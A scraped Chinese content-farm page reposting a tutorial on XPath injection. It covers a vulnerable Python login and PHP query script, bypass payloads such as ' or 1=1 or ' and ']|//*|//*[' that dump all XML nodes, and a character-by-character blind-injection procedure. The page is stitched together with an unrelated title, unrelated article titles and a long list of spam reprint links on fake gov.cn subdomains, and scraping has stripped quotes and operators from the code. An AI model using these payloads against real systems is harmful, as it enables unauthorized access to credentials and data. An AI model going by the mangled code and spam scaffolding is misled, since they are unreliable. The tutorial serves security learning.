当前位置: 首页 > news >正文

达州建设企业网站大气有格局的公司名字

达州建设企业网站,大气有格局的公司名字,单位 内网网站建设,重庆平台目录 知识简介 攻击简介 基础语法 语法演示 漏洞简介 漏洞原理 漏洞复现 Xpath盲注 知识简介 攻击简介 XPath注入攻击是指利用XPath 解析器的松散输入和容错特性#xff0c;能够在 URL、表单或其它信息上附带恶意的XPath 查询代码#xff0c;以获得权限信息的访问权…目录 知识简介 攻击简介 基础语法 语法演示 漏洞简介 漏洞原理 漏洞复现 Xpath盲注 知识简介 攻击简介 XPath注入攻击是指利用XPath 解析器的松散输入和容错特性能够在 URL、表单或其它信息上附带恶意的XPath 查询代码以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时攻击者还可以提升他的权限。 基础语法 “nodename” – 选取nodename的所有子节点 “/nodename” – 从根节点中选择 “//nodename” – 从当前节点选择 “..” – 选择当前节点的父节点 “child::node()” – 选择当前节点的所有子节点-选择属性 //user[position()2] 选择节点位置 语法演示 from lxml import etree xml studentsstudent number1name idzsxing张/xingming三/ming/nameage18/agesexmale/sex/studentstudent number2name id ls李四/nameage24/agesexfemale/sex/student/studentstree etree.XML(xml) out tree.xpath(//students)[0][0][0][0].text print(out) print(-------------------------------------) out tree.xpath(//name)[1].text print(out) out tree.xpath(//name)[1].xpath(id) print(out) 张 ------------------------------------- 李四 [ls] 漏洞简介 漏洞原理 XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入这些输入往往是XPath语法中的一些组合这些输入将作为参数传入Web 应用程序通过执行XPath查询而执行入侵者想要的操作。但是注入的对象不是数据库users表了而是一个存储数据的XML文件。因为xpath不存在访问控制所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input等 漏洞复现 案例1正常网站存在如下登录代码 from lxml import etreexml studentsstudentidadmin/idpassword123456/password/student /studentstree etree.XML(xml) username input(请输入用户名) password input(请输入密码) out tree.xpath(/students/student[id/text()username and password/text()password]) print(登录成功欢迎您out[0][0].text) 正常登陆 不正常登录 or 11 /students/student[id/text()admin and password/text() or 11] 案例2 index.php ?php if(file_exists(coleak.xml)) { $xml simplexml_load_file(coleak.xml); $user$_GET[user]; $queryuser/username[name$user]; $ans $xml-xpath($query); foreach($ans as $x $x_value) { echo $x.: . $x_value; echo br /; } } ? coleak.xml ?xml version1.0 encodingutf-8? root1 user username nameuser1user1/username keyKEY:1/key username nameuser2user2/username keyKEY:2/key username nameuser3user3/username keyKEY:3/key username nameuser4user4/username keyKEY:4/key username nameuser5user5/username keyKEY:5/key username nameuser6user6/username keyKEY:6/key username nameuser7user7/username keyKEY:7/key username nameuser8user8/username keyKEY:8/key username nameuser9user9/username keyKEY:9/key /user hctfadmin username namehctf1hctf/username keyflag:hctf{Dd0g_fac3_t0_k3yboard233}/key /hctfadmin /root1 正常查询 测试 ?user 时出现报错可以确定存在Xpath注入 -1 or 11 or $queryuser/username[name-1 or 11 or ]; 11为真 为真则可以匹配当前节点下的所有user ]|//*|//*[ $queryuser/username[name]|//*|//*[; 这里闭合了$user前后的单引号同时执行三个操作其中第二个操作//*即是关键点列出文档中的所有元素最后拿到flag Xpath盲注 xpath盲注适用于攻击者不清楚XML文档的架构没有错误信息返回一次只能通过布尔化查询来获取部分信息同样以0x05中的源码为例 Xpath盲注步骤 判断根节点下的节点数判断根节点下节点长度名称.....重复猜解完所有节点获取最后的值从根节点开始判断 or count(/)1 or ###根节点数量为1 or count(/*)1 or ##根节点下只有一个子节点 判断根节点下的节点长度 or string-length(name(/*[1]))8 or 猜解根节点下的节点名称 or substring(name(/*[1]), 1, 1)a or or substring(name(/*[1]), 2, 1)c or .. or substring(name(/*[1]), 8, 1)s or 猜解出该节点名称为accounts or count(/accounts)1 or /accounts节点数量为1 or count(/accounts/user/*)0 or /accounts下有两个节点 or string-length(name(/accounts/*[1]))4 or 第一个子节点长度为4 猜解accounts下的节点名称 or substring(name(/accounts/*[1]), 1, 1)u or ... or substring(name(/accounts/*[1]), 4, 1)r or accounts下子节点名称为user or count(/accounts/user)2 or user节点有两个则可以猜测出accounts节点结构accounts下两个节点均为user节点 第一个user节点的子节点长度为8 or string-length(name(/accounts/user[position()1]/*[1]))8 or 读取user节点的下子节点 or substring(name(/accounts/user[position()1]/*[1]), 1, 1)u or or substring(name(/accounts/user[position()1]/*[1]), 2, 1)s or ... or substring(name(/accounts/user[position()1]/*[1]), 8, 1)e or 最终所有子节点值验证如下 or substring(name(/accounts/user[position()1]/*[1]), 1)username or or substring(name(/accounts/user[position()1]/*[2]), 1)email or or substring(name(/accounts/user[position()1]/*[3]), 1)accounttype or or substring(name(/accounts/user[position()1]/*[4]), 1)password or 继续猜解 or count(/accounts/user[position()1]/username/*)0 or or count(/accounts/user[position()1]/email/*)0 or or count(/accounts/user[position()1]/accounttype/*)0 or or count(/accounts/user[position()1]/username/password/*)0 or 均为 false不再有子节点则可以尝试读取这些节点的值 第一个user下的username值长度为6: or string-length((//user[position()1]/username[position()1]))6 or 读取第一个user下usernaem的值 or substring((//user[position()1]/username[position()1]),1,1)T or .... or substring((//user[position()1]/username[position()1]),6,1)e or 可依次读取所有的子节点的值第二user节点的子节点值读取方式 or string-length((//user[position()2]/username[position()1]))4 or 第一个user下的username长度为4 ...... 重复上边步骤即可
文章转载自:
http://www.morning.qqhmg.cn.gov.cn.qqhmg.cn
http://www.morning.qtnmp.cn.gov.cn.qtnmp.cn
http://www.morning.cbpkr.cn.gov.cn.cbpkr.cn
http://www.morning.ymwnc.cn.gov.cn.ymwnc.cn
http://www.morning.ymjrg.cn.gov.cn.ymjrg.cn
http://www.morning.yhjlg.cn.gov.cn.yhjlg.cn
http://www.morning.mbpzw.cn.gov.cn.mbpzw.cn
http://www.morning.pbzgj.cn.gov.cn.pbzgj.cn
http://www.morning.rnht.cn.gov.cn.rnht.cn
http://www.morning.kqkmx.cn.gov.cn.kqkmx.cn
http://www.morning.qrlkt.cn.gov.cn.qrlkt.cn
http://www.morning.xnbd.cn.gov.cn.xnbd.cn
http://www.morning.tdcql.cn.gov.cn.tdcql.cn
http://www.morning.lnmby.cn.gov.cn.lnmby.cn
http://www.morning.qddtd.cn.gov.cn.qddtd.cn
http://www.morning.rqfzp.cn.gov.cn.rqfzp.cn
http://www.morning.rrwft.cn.gov.cn.rrwft.cn
http://www.morning.jtszm.cn.gov.cn.jtszm.cn
http://www.morning.mcjrf.cn.gov.cn.mcjrf.cn
http://www.morning.syrzl.cn.gov.cn.syrzl.cn
http://www.morning.ctlbf.cn.gov.cn.ctlbf.cn
http://www.morning.hmgqy.cn.gov.cn.hmgqy.cn
http://www.morning.sogou66.cn.gov.cn.sogou66.cn
http://www.morning.wwkft.cn.gov.cn.wwkft.cn
http://www.morning.prgyd.cn.gov.cn.prgyd.cn
http://www.morning.ptqds.cn.gov.cn.ptqds.cn
http://www.morning.wdhhz.cn.gov.cn.wdhhz.cn
http://www.morning.zlwg.cn.gov.cn.zlwg.cn
http://www.morning.bxbnf.cn.gov.cn.bxbnf.cn
http://www.morning.hwbmn.cn.gov.cn.hwbmn.cn
http://www.morning.lhhdy.cn.gov.cn.lhhdy.cn
http://www.morning.jpjxb.cn.gov.cn.jpjxb.cn
http://www.morning.kspfq.cn.gov.cn.kspfq.cn
http://www.morning.rkmhp.cn.gov.cn.rkmhp.cn
http://www.morning.dgsx.cn.gov.cn.dgsx.cn
http://www.morning.lqrpk.cn.gov.cn.lqrpk.cn
http://www.morning.mbpfk.cn.gov.cn.mbpfk.cn
http://www.morning.wjjsg.cn.gov.cn.wjjsg.cn
http://www.morning.spxsm.cn.gov.cn.spxsm.cn
http://www.morning.kybyf.cn.gov.cn.kybyf.cn
http://www.morning.fhyhr.cn.gov.cn.fhyhr.cn
http://www.morning.mmplj.cn.gov.cn.mmplj.cn
http://www.morning.hrtfz.cn.gov.cn.hrtfz.cn
http://www.morning.gsksm.cn.gov.cn.gsksm.cn
http://www.morning.znpyw.cn.gov.cn.znpyw.cn
http://www.morning.jwxmn.cn.gov.cn.jwxmn.cn
http://www.morning.cmhkt.cn.gov.cn.cmhkt.cn
http://www.morning.mhnr.cn.gov.cn.mhnr.cn
http://www.morning.rqxtb.cn.gov.cn.rqxtb.cn
http://www.morning.sjwzl.cn.gov.cn.sjwzl.cn
http://www.morning.nwwzc.cn.gov.cn.nwwzc.cn
http://www.morning.mbrbg.cn.gov.cn.mbrbg.cn
http://www.morning.zwsgl.cn.gov.cn.zwsgl.cn
http://www.morning.gwhjy.cn.gov.cn.gwhjy.cn
http://www.morning.xmbhc.cn.gov.cn.xmbhc.cn
http://www.morning.jpbpc.cn.gov.cn.jpbpc.cn
http://www.morning.whpsl.cn.gov.cn.whpsl.cn
http://www.morning.eviap.com.gov.cn.eviap.com
http://www.morning.btqqh.cn.gov.cn.btqqh.cn
http://www.morning.mzskr.cn.gov.cn.mzskr.cn
http://www.morning.gzxnj.cn.gov.cn.gzxnj.cn
http://www.morning.mytmn.cn.gov.cn.mytmn.cn
http://www.morning.mzwfw.cn.gov.cn.mzwfw.cn
http://www.morning.lrwsk.cn.gov.cn.lrwsk.cn
http://www.morning.wyjpt.cn.gov.cn.wyjpt.cn
http://www.morning.rnsjp.cn.gov.cn.rnsjp.cn
http://www.morning.dmwbs.cn.gov.cn.dmwbs.cn
http://www.morning.srwny.cn.gov.cn.srwny.cn
http://www.morning.wgxtz.cn.gov.cn.wgxtz.cn
http://www.morning.mysmz.cn.gov.cn.mysmz.cn
http://www.morning.gyrdn.cn.gov.cn.gyrdn.cn
http://www.morning.fblkr.cn.gov.cn.fblkr.cn
http://www.morning.dqxnd.cn.gov.cn.dqxnd.cn
http://www.morning.mrskk.cn.gov.cn.mrskk.cn
http://www.morning.rmppf.cn.gov.cn.rmppf.cn
http://www.morning.swdnr.cn.gov.cn.swdnr.cn
http://www.morning.ydyjf.cn.gov.cn.ydyjf.cn
http://www.morning.jykzy.cn.gov.cn.jykzy.cn
http://www.morning.gmyhq.cn.gov.cn.gmyhq.cn
http://www.morning.ksgjn.cn.gov.cn.ksgjn.cn
http://www.tj-hxxt.cn/news/244834.html

相关文章:

  • wordpress开通多站点好处顺德网站设计
  • 印度电商平台网站建设策划外贸建站
  • 游戏网站策划微信开发什么时候好
  • 龙岗网站建设价格太原网络推广哪家好
  • 东莞常平网站建设互联网广告推广
  • 网站后台word编辑器设计手机访问的网站
  • 淘掌门官方网站自个做网站教程
  • 临沂市经济开发区建设局网站哈尔滨建站模板系统
  • python 营销型网站建设做vi设计的国外网站
  • 网站界面排版好看优秀个人网页设计案例分析
  • 系统下载网站源码岑巩网站建设
  • 网站设计手机抖音小程序源码
  • gif网站素材云阳一平米网站建设
  • 中考管理系统登录网站正规的徐州网站开发
  • 门户网站有哪几个网站制作软件 aws
  • 企业模式网站列表管理器网站 审批号
  • 个人备案网站可以做电商吗高端旅游定制网站
  • 网站开发基本过程wordpress建公司网站
  • 基础网站建设代码高凡猎头公司
  • 给网站开发自己的一封信抖音代运营平台哪个好
  • 地方网站做相亲赢利点在哪里多语种外贸网站
  • 视频网站建设审批秘密入口3秒自动进入
  • dede网站优化网站建设的流程和内容
  • 百度关键词怎么刷上去优化网络推广外包
  • 最好的网站推广wordpress分类目录关键字
  • 做js链接的网站要加证书吗wordpress手动上传图片
  • 做网站的得花多少钱西安企业网站seo
  • 微网站建设计划书免费网页制作软件哪里找
  • 下厨房网站学做蒸包视频传奇网游排名
  • 网站的优势是什么域名查询解析ip